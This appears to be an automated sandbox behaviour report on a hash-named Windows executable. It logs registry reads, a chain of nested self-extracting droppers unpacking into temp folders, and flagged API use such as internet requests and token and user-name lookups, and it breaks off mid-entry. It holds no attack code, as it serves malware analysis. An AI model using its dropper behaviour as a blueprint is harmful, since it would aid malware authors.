"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "")4b:T518,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" trying to touch file "C:\Windows\System32\WOW64LOG.DLL" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" trying to touch file "C:\Windows\SysWOW64\apphelp.dll" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" trying to touch file "C:\e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" trying to touch file "C:\Windows\SysWOW64\ntdll.dll" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" trying to touch file "C:\Windows\SysWOW64\kernel32.dll" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" trying to touch file "C:\Windows\SysWOW64\KernelBase.dll" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" trying to touch file "C:\Windows\SysWOW64\AcLayers.dll" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" trying to touch file "C:\Windows\SysWOW64\mpr.dll" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" trying to touch file "C:\Windows\SysWOW64\sfc.dll"4c:Tbc2,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" trying to access non-existent file "C:\CABINET.DLL" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" trying to access non-existent file "C:\VERSION.DLL" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" trying to access non-existent file "C:\FLTLIB.DLL" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\HA8NU84.EXE" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\hA8Nu84.exe" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\6OY9BB3.EXE" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\6oy9bB3.exe" "hA8Nu84.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "hA8Nu84.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\CABINET.DLL" "hA8Nu84.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\VERSION.DLL" "hA8Nu84.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\FLTLIB.DLL" "hA8Nu84.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\CP7GF84.EXE" "hA8Nu84.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\cp7GF84.exe" "hA8Nu84.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\5GC9BZ2.EXE" "hA8Nu84.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\5gC9bz2.exe" "cp7GF84.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "cp7GF84.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\CABINET.DLL" "cp7GF84.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\VERSION.DLL" "cp7GF84.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\FLTLIB.DLL" "cp7GF84.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\TB8SC54.EXE" "cp7GF84.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\tb8sC54.exe" "cp7GF84.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\4HZ158BT.EXE" "cp7GF84.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\4HZ158BT.exe" "tb8sC54.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL"4d:T5ed,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" trying to access non-existent file "C:\E2F3379B09A3AC4A2A986C775E7F0BF7C4C4360157E0731F465D17D99DFD45D9.EXE.LOCAL" "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "hA8Nu84.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\HA8NU84.EXE.LOCAL" "hA8Nu84.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "cp7GF84.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\CP7GF84.EXE.LOCAL" "cp7GF84.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" "tb8sC54.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\TB8SC54.EXE.LOCAL" "tb8sC54.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" "AY1yn84.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\AY1YN84.EXE.LOCAL" "AY1yn84.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP" "1kw38Ju7.exe" trying to access non-existent file "C:\Windows\SysWOW64\MSCOREE.DLL.LOCAL" "1kw38Ju7.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\MSCOREE.DLL.local" "1kw38Ju7.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\1KW38JU7.EXE.CONFIG"4e:T418,Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe")4f:T914,"AY1yn84.exe" called "FindFirstFileA" with parameter %TEMP%\IXP004.TMP\* (UID: 00000000-00005260) "AY1yn84.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00005260) "1kw38Ju7.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00007144) "1kw38Ju7.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00007144) "1kw38Ju7.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00007144) "1kw38Ju7.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00007144) "1kw38Ju7.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00007144)50:T532,Found reference to API "GetDC" (Indicator: "GetDC"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")51:T68c,Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")52:Ta60,Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")53:Td9a,Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")54:T87f,Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")55:T1086,Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp")56:T9a7,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "LookupAccountNameA" (Indicator: "LookupAccountName"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API 